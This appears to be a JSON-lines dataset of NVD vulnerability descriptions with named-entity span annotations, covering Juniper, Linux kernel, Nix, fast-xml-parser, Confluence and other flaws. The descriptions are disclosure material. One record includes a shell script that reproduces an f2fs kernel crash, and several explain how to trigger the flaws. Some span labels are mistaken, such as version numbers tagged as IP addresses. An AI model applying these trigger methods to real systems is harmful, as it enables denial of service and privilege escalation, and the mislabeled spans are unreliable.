{"text": "On Juniper Networks Junos OS platforms configured as DHCPv6 local server or DHCPv6 Relay Agent, Juniper Networks Dynamic Host Configuration Protocol Daemon (JDHCPD) process might crash with a core dump if a malformed DHCPv6 packet is received, resulting with the restart of the daemon. This issue only affects DHCPv6, it does not affect DHCPv4. This issue affects: Juniper Networks Junos OS 17.4 versions prior to 17.4R2-S12, 17.4R3-S3; 18.1 versions prior to 18.1R3-S11; 18.2 versions prior to 18.2R3-S6; 18.2X75 versions prior to 18.2X75-D65; 18.3 versions prior to 18.3R2-S4, 18.3R3-S3; 18.4 versions prior to 18.4R2-S5, 18.4R3-S4; 19.1 versions prior to 19.1R3-S2; 19.2 versions prior to 19.2R1-S5, 19.2R3; 19.2 version 19.2R2 and later versions; 19.3 versions prior to 19.3R2-S4, 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R1-S3, 20.1R2; This issue does not affect Juniper Networks Junos OS prior to 17.4R1.", "spans": {"ORGANIZATION: Juniper": [[3, 10], [96, 103], [365, 372], [915, 922]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1671"}}
{"text": "An Uncontrolled Search Path Element vulnerability in B&R Industrial Automation Scene Viewer, B&R Industrial Automation Automation Runtime, B&R Industrial Automation mapp Vision, B&R Industrial Automation mapp View, B&R Industrial Automation mapp Cockpit, B&R Industrial Automation mapp Safety, B&R Industrial Automation VC4, B&R Industrial Automation APROL, B&R Industrial Automation CAN Driver, B&R Industrial Automation CAN Driver CC770, B&R Industrial Automation CAN Driver SJA1000, B&R Industrial Automation Tou0ch Lock, B&R Industrial Automation B&R Single-Touch Driver, B&R Industrial Automation Serial User Mode Touch Driver, B&R Industrial Automation Windows Settings Changer (LTSC), B&R Industrial Automation Windows Settings Changer (2019 LTSC), B&R Industrial Automation Windows 10 Recovery Solution, B&R Industrial Automation ADI driver universal, B&R Industrial Automation ADI Development Kit, B&R Industrial Automation ADI .NET SDK, B&R Industrial Automation SRAM driver, B&R Industrial Automation HMI Service Center, B&R Industrial Automation HMI Service Center Maintenance, B&R Industrial Automation Windows 10 IoT Enterprise 2019 LTSC, B&R Industrial Automation KCF Editor could allow an authenticated local attacker to execute malicious code by placing specially crafted files in the loading search path..This issue affects Scene Viewer: before 4.4.0; Automation Runtime: before J4.93; mapp Vision: before 5.26.1; mapp View: before 5.24.2; mapp Cockpit: before 5.24.2; mapp Safety: before 5.24.2; VC4: before 4.73.2; APROL: before 4.4-01; CAN Driver: before 1.1.0; CAN Driver CC770: before 3.3.0; CAN Driver SJA1000: before 1.3.0; Tou0ch Lock: before 2.1.0; B&R Single-Touch Driver: before 2.0.0; Serial User Mode Touch Driver: before 1.7.1; Windows Settings Changer (LTSC): before 3.2.0; Windows Settings Changer (2019 LTSC): before 2.2.0; Windows 10 Recovery Solution: before 3.2.0; ADI driver universal: before 3.2.0; ADI Development Kit: before 5.5.0; ADI .NET SDK: before 4.1.0; SRAM driver: before 1.2.0; HMI Service Center: before 3.1.0; HMI Service Center Maintenance: before 2.1.0; Windows 10 IoT Enterprise 2019 LTSC: through 1.1; KCF Editor: before 1.1.0.", "spans": {"SYSTEM: Windows 10": [[782, 792], [1116, 1126], [1859, 1869], [2109, 2119]], "SYSTEM: Windows": [[659, 666], [718, 725], [1760, 1767], [1807, 1814]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-2637"}}
{"text": "A command execution issue was found in Apache SpamAssassin prior to 3.4.3. Carefully crafted nefarious rule configuration (.cf) files can be configured to run system commands similar to CVE-2018-11805. With this bug unpatched, exploits can be injected in a number of scenarios including the same privileges as spamd is run which may be elevated though doing so remotely is difficult. In addition to upgrading to SA 3.4.4, we again recommend that users should only use update channels or 3rd party .cf files from trusted places. If you cannot upgrade, do not use 3rd party rulesets, do not use sa-compile and do not run spamd as an account with elevated privileges.", "spans": {"CVE_ID: CVE-2018-11805": [[186, 200]], "ORGANIZATION: Apache": [[39, 45]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1930"}}
{"text": "EdgeX Foundry is an open source project for building a common open framework for Internet of Things edge computing. Prior to version 2.1.1, the /api/v2/config endpoint exposes message bus credentials to local unauthenticated users. In security-enabled mode, message bus credentials are supposed to be kept in the EdgeX secret store and require authentication to access. This vulnerability bypasses the access controls on message bus credentials when running in security-enabled mode. (No credentials are required when running in security-disabled mode.) As a result, attackers could intercept data or inject fake data into the EdgeX message bus. Users should upgrade to EdgeXFoundry Kamakura release (2.2.0) or to the June 2022 EdgeXFoundry LTS Jakarta release (2.1.1) to receive a patch. More information about which go modules, docker containers, and snaps contain patches is available in the GitHub Security Advisory. There are currently no known workarounds for this issue.", "spans": {"FILEPATH: /api/v2/config": [[144, 158]], "ORGANIZATION: GitHub": [[895, 901]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31066"}}
{"text": "An issue was discovered where there are multiple externally accessible pages that do not require any sort of authentication, and store system information for internal usage. The devices automatically query these pages to update dashboards and other statistics, but the pages can be accessed externally without any authentication. All the pages follow the naming convention live_(string).shtml. Among the information disclosed is: interface status logs, IP address of the device, MAC address of the device, model and current firmware version, location, all running processes, all interfaces and their statuses, all current DHCP leases and the associated hostnames, all other wireless networks in range of the router, memory statistics, and components of the configuration of the device such as enabled features. Affected devices: Affected devices are: Wavlink WN530HG4, Wavlink WN575A3, Wavlink WN579G3,Wavlink WN531G3, Wavlink WN533A8, Wavlink WN531A6, Wavlink WN551K1, Wavlink WN535G3, Wavlink WN530H4, Wavlink WN57X93, WN572HG3, Wavlink WN578A2, Wavlink WN579G3, Wavlink WN579X3, and Jetstream AC3000/ERAC3000", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-12266"}}
{"text": "Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Attachments / File Upload). The supported version that is affected is 12.2.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Applications Framework accessible data as well as unauthorized update, insert or delete access to some of Oracle Applications Framework accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [62, 68], [283, 289], [431, 437], [634, 640], [747, 753]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14610"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix error propagation of split bios\n\nThe purpose of btrfs_bbio_propagate_error() shall be propagating an error\nof split bio to its original btrfs_bio, and tell the error to the upper\nlayer. However, it's not working well on some cases.\n\n* Case 1. Immediate (or quick) end_bio with an error\n\nWhen btrfs sends btrfs_bio to mirrored devices, btrfs calls\nbtrfs_bio_end_io() when all the mirroring bios are completed. If that\nbtrfs_bio was split, it is from btrfs_clone_bioset and its end_io function\nis btrfs_orig_write_end_io. For this case, btrfs_bbio_propagate_error()\naccesses the orig_bbio's bio context to increase the error count.\n\nThat works well in most cases. However, if the end_io is called enough\nfast, orig_bbio's (remaining part after split) bio context may not be\nproperly set at that time. Since the bio context is set when the orig_bbio\n(the last btrfs_bio) is sent to devices, that might be too late for earlier\nsplit btrfs_bio's completion.  That will result in NULL pointer\ndereference.\n\nThat bug is easily reproducible by running btrfs/146 on zoned devices [1]\nand it shows the following trace.\n\n[1] You need raid-stripe-tree feature as it create \"-d raid0 -m raid1\" FS.\n\n  BUG: kernel NULL pointer dereference, address: 0000000000000020\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD 0 P4D 0\n  Oops: Oops: 0000 [#1] PREEMPT SMP PTI\n  CPU: 1 UID: 0 PID: 13 Comm: kworker/u32:1 Not tainted 6.11.0-rc7-BTRFS-ZNS+ #474\n  Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n  Workqueue: writeback wb_workfn (flush-btrfs-5)\n  RIP: 0010:btrfs_bio_end_io+0xae/0xc0 [btrfs]\n  BTRFS error (device dm-0): bdev /dev/mapper/error-test errs: wr 2, rd 0, flush 0, corrupt 0, gen 0\n  RSP: 0018:ffffc9000006f248 EFLAGS: 00010246\n  RAX: 0000000000000000 RBX: ffff888005a7f080 RCX: ffffc9000006f1dc\n  RDX: 0000000000000000 RSI: 000000000000000a RDI: ffff888005a7f080\n  RBP: ffff888011dfc540 R08: 0000000000000000 R09: 0000000000000001\n  R10: ffffffff82e508e0 R11: 0000000000000005 R12: ffff88800ddfbe58\n  R13: ffff888005a7f080 R14: ffff888005a7f158 R15: ffff888005a7f158\n  FS:  0000000000000000(0000) GS:ffff88803ea80000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 0000000000000020 CR3: 0000000002e22006 CR4: 0000000000370ef0\n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  Call Trace:\n   <TASK>\n   ? __die_body.cold+0x19/0x26\n   ? page_fault_oops+0x13e/0x2b0\n   ? _printk+0x58/0x73\n   ? do_user_addr_fault+0x5f/0x750\n   ? exc_page_fault+0x76/0x240\n   ? asm_exc_page_fault+0x22/0x30\n   ? btrfs_bio_end_io+0xae/0xc0 [btrfs]\n   ? btrfs_log_dev_io_error+0x7f/0x90 [btrfs]\n   btrfs_orig_write_end_io+0x51/0x90 [btrfs]\n   dm_submit_bio+0x5c2/0xa50 [dm_mod]\n   ? find_held_lock+0x2b/0x80\n   ? blk_try_enter_queue+0x90/0x1e0\n   __submit_bio+0xe0/0x130\n   ? ktime_get+0x10a/0x160\n   ? lockdep_hardirqs_on+0x74/0x100\n   submit_bio_noacct_nocheck+0x199/0x410\n   btrfs_submit_bio+0x7d/0x150 [btrfs]\n   btrfs_submit_chunk+0x1a1/0x6d0 [btrfs]\n   ? lockdep_hardirqs_on+0x74/0x100\n   ? __folio_start_writeback+0x10/0x2c0\n   btrfs_submit_bbio+0x1c/0x40 [btrfs]\n   submit_one_bio+0x44/0x60 [btrfs]\n   submit_extent_folio+0x13f/0x330 [btrfs]\n   ? btrfs_set_range_writeback+0xa3/0xd0 [btrfs]\n   extent_writepage_io+0x18b/0x360 [btrfs]\n   extent_write_locked_range+0x17c/0x340 [btrfs]\n   ? __pfx_end_bbio_data_write+0x10/0x10 [btrfs]\n   run_delalloc_cow+0x71/0xd0 [btrfs]\n   btrfs_run_delalloc_range+0x176/0x500 [btrfs]\n   ? find_lock_delalloc_range+0x119/0x260 [btrfs]\n   writepage_delalloc+0x2ab/0x480 [btrfs]\n   extent_write_cache_pages+0x236/0x7d0 [btrfs]\n   btrfs_writepages+0x72/0x130 [btrfs]\n   do_writepages+0xd4/0x240\n   ? find_held_lock+0x2b/0x80\n   ? wbc_attach_and_unlock_inode+0x12c/0x290\n   ? wbc_attach_and_unlock_inode+0x12c/0x29\n---truncated---", "spans": {"FILEPATH: /01/2011": [[1602, 1610]], "FILEPATH: /dev/mapper/error-test": [[1741, 1763]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[1280, 1304]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50225"}}
{"text": "A Missing Release of Memory after Effective Lifetime vulnerability in the kernel of Juniper Networks Junos OS allows an unauthenticated, adjacent attacker to cause a Denial of Service (DoS). In an MPLS scenario specific packets destined to an Integrated Routing and Bridging (irb) interface of the device will cause a buffer (mbuf) to leak. Continued receipt of these specific packets will eventually cause a loss of connectivity to and from the device, and requires a reboot to recover. These mbufs can be monitored by using the CLI command 'show system buffers': user@host> show system buffers 783/1497/2280 mbufs in use (current/cache/total) user@host> show system buffers 793/1487/2280 mbufs in use (current/cache/total) <<<<<< mbuf usage increased This issue affects Juniper Networks Junos OS: All versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R3-S9; 20.1 version 20.1R1 and later versions; 20.2 versions prior to 20.2R3-S5; 20.3 versions prior to 20.3R3-S5; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R3-S3; 21.2 versions prior to 21.2R3-S2; 21.3 versions prior to 21.3R3-S1; 21.4 versions prior to 21.4R3; 22.1 versions prior to 22.1R2.", "spans": {"FILEPATH: /1497/2280": [[599, 609]], "FILEPATH: /cache/total": [[631, 643], [711, 723]], "FILEPATH: /1487/2280": [[679, 689]], "ORGANIZATION: Juniper": [[84, 91], [772, 779]], "VULNERABILITY: Denial of Service": [[166, 183]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22395"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid NULL pointer dereference in f2fs_check_quota_consistency()\n\nsyzbot reported a f2fs bug as below:\n\nOops: gen[  107.736417][ T5848] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 1 UID: 0 PID: 5848 Comm: syz-executor263 Tainted: G        W           6.17.0-rc1-syzkaller-00014-g0e39a731820a #0 PREEMPT_{RT,(full)}\nRIP: 0010:strcmp+0x3c/0xc0 lib/string.c:284\nCall Trace:\n <TASK>\n f2fs_check_quota_consistency fs/f2fs/super.c:1188 [inline]\n f2fs_check_opt_consistency+0x1378/0x2c10 fs/f2fs/super.c:1436\n __f2fs_remount fs/f2fs/super.c:2653 [inline]\n f2fs_reconfigure+0x482/0x1770 fs/f2fs/super.c:5297\n reconfigure_super+0x224/0x890 fs/super.c:1077\n do_remount fs/namespace.c:3314 [inline]\n path_mount+0xd18/0xfe0 fs/namespace.c:4112\n do_mount fs/namespace.c:4133 [inline]\n __do_sys_mount fs/namespace.c:4344 [inline]\n __se_sys_mount+0x317/0x410 fs/namespace.c:4321\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThe direct reason is f2fs_check_quota_consistency() may suffer null-ptr-deref\nissue in strcmp().\n\nThe bug can be reproduced w/ below scripts:\nmkfs.f2fs -f /dev/vdb\nmount -t f2fs -o usrquota /dev/vdb /mnt/f2fs\nquotacheck -uc /mnt/f2fs/\numount /mnt/f2fs\nmount -t f2fs -o usrjquota=aquota.user,jqfmt=vfsold /dev/vdb /mnt/f2fs\nmount -t f2fs -o remount,usrjquota=,jqfmt=vfsold /dev/vdb /mnt/f2fs\numount /mnt/f2fs\n\nSo, before old_qname and new_qname comparison, we need to check whether\nthey are all valid pointers, fix it.", "spans": {"FILEPATH: /f2fs/super.c": [[636, 649], [708, 721], [745, 758], [806, 819]], "FILEPATH: /x86/entry/syscall_64.c": [[1109, 1132], [1175, 1198]], "FILEPATH: /dev/vdb": [[1400, 1408], [1435, 1443], [1549, 1557], [1617, 1625]], "FILEPATH: /mnt/f2fs": [[1444, 1453], [1469, 1478], [1487, 1496], [1558, 1567], [1626, 1635], [1643, 1652]], "FILEPATH: string.c": [[571, 579]], "FILEPATH: super.c": [[859, 866]], "FILEPATH: namespace.c": [[887, 898], [940, 951], [970, 981], [1015, 1026], [1072, 1083]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[88, 112]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40138"}}
{"text": "OpenProject is an open-source, web-based project management software. To enable the real time collaboration on documents, OpenProject 17.0 introduced a synchronization server. The OpenPrioject backend generates an authentication token that is currently valid for 24 hours, encrypts it with a shared secret only known to the synchronization server. The frontend hands this encrypted token and the backend URL over to the synchronization server to check user's ability to work on the document and perform intermittent saves while editing. The synchronization server does not properly validate the backend URL and sends a request with the decrypted authentication token to the endpoint that was given to the server. An attacker could use this vulnerability to decrypt a token that he intercepted by other means to gain an access token to interact with OpenProject on the victim's behalf. This vulnerability was introduced with OpenProject 17.0.0 and was fixed in 17.0.2. As a workaround, disable the collaboration feature via Settings -> Documents -> Real time collaboration -> Disable. Additionally the `hocuspocus` container should also be disabled.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24772"}}
{"text": "Vulnerability in the Database Filesystem component of Oracle Database Server. Supported versions that are affected are 11.2.0.4, 12.1.0.2 and 12.2.0.1. Easily exploitable vulnerability allows high privileged attacker having Resource, Create Table, Create View, Create Procedure, Dbfs_role privilege with network access via Oracle Net to compromise Database Filesystem. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Database Filesystem. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).", "spans": {"IP_ADDRESS: 11.2.0.4": [[119, 127]], "IP_ADDRESS: 12.1.0.2": [[129, 137]], "IP_ADDRESS: 12.2.0.1": [[142, 150]], "SYSTEM: Oracle Database": [[54, 69]], "ORGANIZATION: Oracle": [[323, 329]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14741"}}
{"text": "Specially crafted ZIP archives can escape the intended extraction directory during Node.js download and extraction in Vaadin 14.2.0 through 14.14.0, 15.0.0 through 23.6.6, 24.0.0 through 24.9.8, and 25.0.0 through 25.0.2. \n\nVaadin’s build process can automatically download and extract Node.js if it is not installed locally. If an attacker can intercept or control this download via DNS hijacking, a MITM attack, a compromised mirror, or a supply chain attack, they can serve a malicious archive containing path traversal sequences that write files outside the intended extraction directory.\n\n\nUsers of affected versions should use a globally preinstalled Node.js version compatible with their Vaadin version, or upgrade as follows: 14.2.0-14.14.0 to 14.14.1, 15.0.0-23.6.6 to 23.6.7, 24.0.0-24.9.8 to 24.9.9, and 25.0.0-25.0.2 to 25.0.3 or newer.\n\nPlease note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 14, 23, 24, 25 version.", "spans": {"FILEPATH: Node.js": [[83, 90], [286, 293], [657, 664]], "VULNERABILITY: path traversal": [[508, 522]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-2741"}}
{"text": "fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Versions 4.0.0-beta.3 through 5.5.5 contain a bypass vulnerability where numeric character references (&#NNN;, &#xHH;) and standard XML entities completely evade the entity expansion limits (e.g., maxTotalExpansions, maxExpandedLength) added to fix CVE-2026-26278, enabling XML entity expansion Denial of Service. The root cause is that replaceEntitiesValue() in OrderedObjParser.js only enforces expansion counting on DOCTYPE-defined entities while the lastEntities loop handling numeric/standard entities performs no counting at all. An attacker supplying 1M numeric entity references like &#65; can force ~147MB of memory allocation and heavy CPU usage, potentially crashing the process—even when developers have configured strict limits. This issue has been fixed in version 5.5.6.", "spans": {"CVE_ID: CVE-2026-26278": [[352, 366]], "FILEPATH: OrderedObjParser.js": [[466, 485]], "VULNERABILITY: Denial of Service": [[398, 415]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33036"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmaple_tree: correct tree corruption on spanning store\n\nPatch series \"maple_tree: correct tree corruption on spanning store\", v3.\n\nThere has been a nasty yet subtle maple tree corruption bug that appears\nto have been in existence since the inception of the algorithm.\n\nThis bug seems far more likely to happen since commit f8d112a4e657\n(\"mm/mmap: avoid zeroing vma tree in mmap_region()\"), which is the point\nat which reports started to be submitted concerning this bug.\n\nWe were made definitely aware of the bug thanks to the kind efforts of\nBert Karwatzki who helped enormously in my being able to track this down\nand identify the cause of it.\n\nThe bug arises when an attempt is made to perform a spanning store across\ntwo leaf nodes, where the right leaf node is the rightmost child of the\nshared parent, AND the store completely consumes the right-mode node.\n\nThis results in mas_wr_spanning_store() mitakenly duplicating the new and\nexisting entries at the maximum pivot within the range, and thus maple\ntree corruption.\n\nThe fix patch corrects this by detecting this scenario and disallowing the\nmistaken duplicate copy.\n\nThe fix patch commit message goes into great detail as to how this occurs.\n\nThis series also includes a test which reliably reproduces the issue, and\nasserts that the fix works correctly.\n\nBert has kindly tested the fix and confirmed it resolved his issues.  Also\nMikhail Gavrilov kindly reported what appears to be precisely the same\nbug, which this fix should also resolve.\n\n\nThis patch (of 2):\n\nThere has been a subtle bug present in the maple tree implementation from\nits inception.\n\nThis arises from how stores are performed - when a store occurs, it will\noverwrite overlapping ranges and adjust the tree as necessary to\naccommodate this.\n\nA range may always ultimately span two leaf nodes.  In this instance we\nwalk the two leaf nodes, determine which elements are not overwritten to\nthe left and to the right of the start and end of the ranges respectively\nand then rebalance the tree to contain these entries and the newly\ninserted one.\n\nThis kind of store is dubbed a 'spanning store' and is implemented by\nmas_wr_spanning_store().\n\nIn order to reach this stage, mas_store_gfp() invokes\nmas_wr_preallocate(), mas_wr_store_type() and mas_wr_walk() in turn to\nwalk the tree and update the object (mas) to traverse to the location\nwhere the write should be performed, determining its store type.\n\nWhen a spanning store is required, this function returns false stopping at\nthe parent node which contains the target range, and mas_wr_store_type()\nmarks the mas->store_type as wr_spanning_store to denote this fact.\n\nWhen we go to perform the store in mas_wr_spanning_store(), we first\ndetermine the elements AFTER the END of the range we wish to store (that\nis, to the right of the entry to be inserted) - we do this by walking to\nthe NEXT pivot in the tree (i.e.  r_mas.last + 1), starting at the node we\nhave just determined contains the range over which we intend to write.\n\nWe then turn our attention to the entries to the left of the entry we are\ninserting, whose state is represented by l_mas, and copy these into a 'big\nnode', which is a special node which contains enough slots to contain two\nleaf node's worth of data.\n\nWe then copy the entry we wish to store immediately after this - the copy\nand the insertion of the new entry is performed by mas_store_b_node().\n\nAfter this we copy the elements to the right of the end of the range which\nwe are inserting, if we have not exceeded the length of the node (i.e. \nr_mas.offset <= r_mas.end).\n\nHerein lies the bug - under very specific circumstances, this logic can\nbreak and corrupt the maple tree.\n\nConsider the following tree:\n\nHeight\n  0                             Root Node\n                                 /      \\\n                 pivot = 0xffff /        \\ pivot = ULONG_MAX\n                               /          \n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50200"}}
{"text": "Nix is a package manager for Linux and other Unix systems. A bug in the fix for CVE-2024-27297 allowed for arbitrary overwrites of files writable by the Nix process orchestrating the builds (typically the Nix daemon running as root in multi-user installations) by following symlinks during fixed-output derivation output registration. This affects sandboxed Linux builds - sandboxed macOS builds are unaffected. The location of the temporary output used for the output copy was located inside the build chroot. A symlink, pointing to an arbitrary location in the filesystem, could be created by the derivation builder at that path. During output registration, the Nix process (running in the host mount namespace) would follow that symlink and overwrite the destination with the derivation's output contents. In multi-user installations, this allows all users able to submit builds to the Nix daemon (allowed-users - defaulting to all users) to gain root privileges by modifying sensitive files. This vulnerability is fixed in 2.34.5, 2.33.4, 2.32.7, 2.31.4, 2.30.4, 2.29.3, and 2.28.6.", "spans": {"CVE_ID: CVE-2024-27297": [[80, 94]], "SYSTEM: Linux": [[29, 34], [358, 363]], "SYSTEM: macOS": [[383, 388]], "VULNERABILITY: symlink": [[513, 520], [732, 739]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39860"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/perf: Fix power_pmu_disable to call clear_pmi_irq_pending only if PMI is pending\n\nRunning selftest with CONFIG_PPC_IRQ_SOFT_MASK_DEBUG enabled in kernel\ntriggered below warning:\n\n[  172.851380] ------------[ cut here ]------------\n[  172.851391] WARNING: CPU: 8 PID: 2901 at arch/powerpc/include/asm/hw_irq.h:246 power_pmu_disable+0x270/0x280\n[  172.851402] Modules linked in: dm_mod bonding nft_ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 ip_set nf_tables rfkill nfnetlink sunrpc xfs libcrc32c pseries_rng xts vmx_crypto uio_pdrv_genirq uio sch_fq_codel ip_tables ext4 mbcache jbd2 sd_mod t10_pi sg ibmvscsi ibmveth scsi_transport_srp fuse\n[  172.851442] CPU: 8 PID: 2901 Comm: lost_exception_ Not tainted 5.16.0-rc5-03218-g798527287598 #2\n[  172.851451] NIP:  c00000000013d600 LR: c00000000013d5a4 CTR: c00000000013b180\n[  172.851458] REGS: c000000017687860 TRAP: 0700   Not tainted  (5.16.0-rc5-03218-g798527287598)\n[  172.851465] MSR:  8000000000029033 <SF,EE,ME,IR,DR,RI,LE>  CR: 48004884  XER: 20040000\n[  172.851482] CFAR: c00000000013d5b4 IRQMASK: 1\n[  172.851482] GPR00: c00000000013d5a4 c000000017687b00 c000000002a10600 0000000000000004\n[  172.851482] GPR04: 0000000082004000 c0000008ba08f0a8 0000000000000000 00000008b7ed0000\n[  172.851482] GPR08: 00000000446194f6 0000000000008000 c00000000013b118 c000000000d58e68\n[  172.851482] GPR12: c00000000013d390 c00000001ec54a80 0000000000000000 0000000000000000\n[  172.851482] GPR16: 0000000000000000 0000000000000000 c000000015d5c708 c0000000025396d0\n[  172.851482] GPR20: 0000000000000000 0000000000000000 c00000000a3bbf40 0000000000000003\n[  172.851482] GPR24: 0000000000000000 c0000008ba097400 c0000000161e0d00 c00000000a3bb600\n[  172.851482] GPR28: c000000015d5c700 0000000000000001 0000000082384090 c0000008ba0020d8\n[  172.851549] NIP [c00000000013d600] power_pmu_disable+0x270/0x280\n[  172.851557] LR [c00000000013d5a4] power_pmu_disable+0x214/0x280\n[  172.851565] Call Trace:\n[  172.851568] [c000000017687b00] [c00000000013d5a4] power_pmu_disable+0x214/0x280 (unreliable)\n[  172.851579] [c000000017687b40] [c0000000003403ac] perf_pmu_disable+0x4c/0x60\n[  172.851588] [c000000017687b60] [c0000000003445e4] __perf_event_task_sched_out+0x1d4/0x660\n[  172.851596] [c000000017687c50] [c000000000d1175c] __schedule+0xbcc/0x12a0\n[  172.851602] [c000000017687d60] [c000000000d11ea8] schedule+0x78/0x140\n[  172.851608] [c000000017687d90] [c0000000001a8080] sys_sched_yield+0x20/0x40\n[  172.851615] [c000000017687db0] [c0000000000334dc] system_call_exception+0x18c/0x380\n[  172.851622] [c000000017687e10] [c00000000000c74c] system_call_common+0xec/0x268\n\nThe warning indicates that MSR_EE being set(interrupt enabled) when\nthere was an overflown PMC detected. This could happen in\npower_pmu_disable since it runs under interrupt soft disable\ncondition ( local_irq_save ) and not with interrupts hard disabled.\ncommit 2c9ac51b850d (\"powerpc/perf: Fix PMU callbacks to clear\npending PMI before resetting an overflown PMC\") intended to clear\nPMI pending bit in Paca when disabling the PMU. It could happen\nthat PMC gets overflown while code is in power_pmu_disable\ncallback function. Hence add a check to see if PMI pending bit\nis set in Paca before clearing it via clear_pmi_pending.", "spans": {"FILEPATH: /powerpc/include/asm/hw_irq.h": [[356, 385]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48752"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions all TFLite operations that use quantization can be made to use unitialized values. [For example](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/depthwise_conv.cc#L198-L200). The issue stems from the fact that `quantization.params` is only valid if `quantization.type` is different that `kTfLiteNoQuantization`. However, these checks are missing in large parts of the code. We have patched the issue in GitHub commits 537bc7c723439b9194a358f64d871dd326c18887, 4a91f2069f7145aab6ba2d8cfe41be8a110c18a5 and 8933b8a21280696ab119b63263babdb54c298538. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/depthwise_conv.cc#L198-L200": [[189, 327]], "HASH: 537bc7c723439b9194a358f64d871dd326c18887": [[573, 613]], "HASH: 4a91f2069f7145aab6ba2d8cfe41be8a110c18a5": [[615, 655]], "HASH: 8933b8a21280696ab119b63263babdb54c298538": [[660, 700]], "ORGANIZATION: GitHub": [[558, 564]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37682"}}
{"text": "This High severity Remote Code Execution (RCE) vulnerability was introduced in version 7.13.0 of Confluence Data Center and Server.\n\nRemote Code Execution (RCE) vulnerability, with a CVSS Score of 8.6 and a CVSS Vector of CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N allows an unauthenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, no impact to integrity, no impact to availability, and does not require user interaction.\n\nAtlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\n\n* Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release\n* Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release\n* Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release\n\nSee the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html ). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives ).", "spans": {"URL: https://confluence.atlassian.com/doc/confluence-release-notes-327.html": [[1009, 1079]], "URL: https://www.atlassian.com/software/confluence/download-archives": [[1182, 1245]], "ORGANIZATION: Atlassian": [[500, 509]], "VULNERABILITY: Remote Code Execution": [[19, 40], [133, 154]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-21674"}}
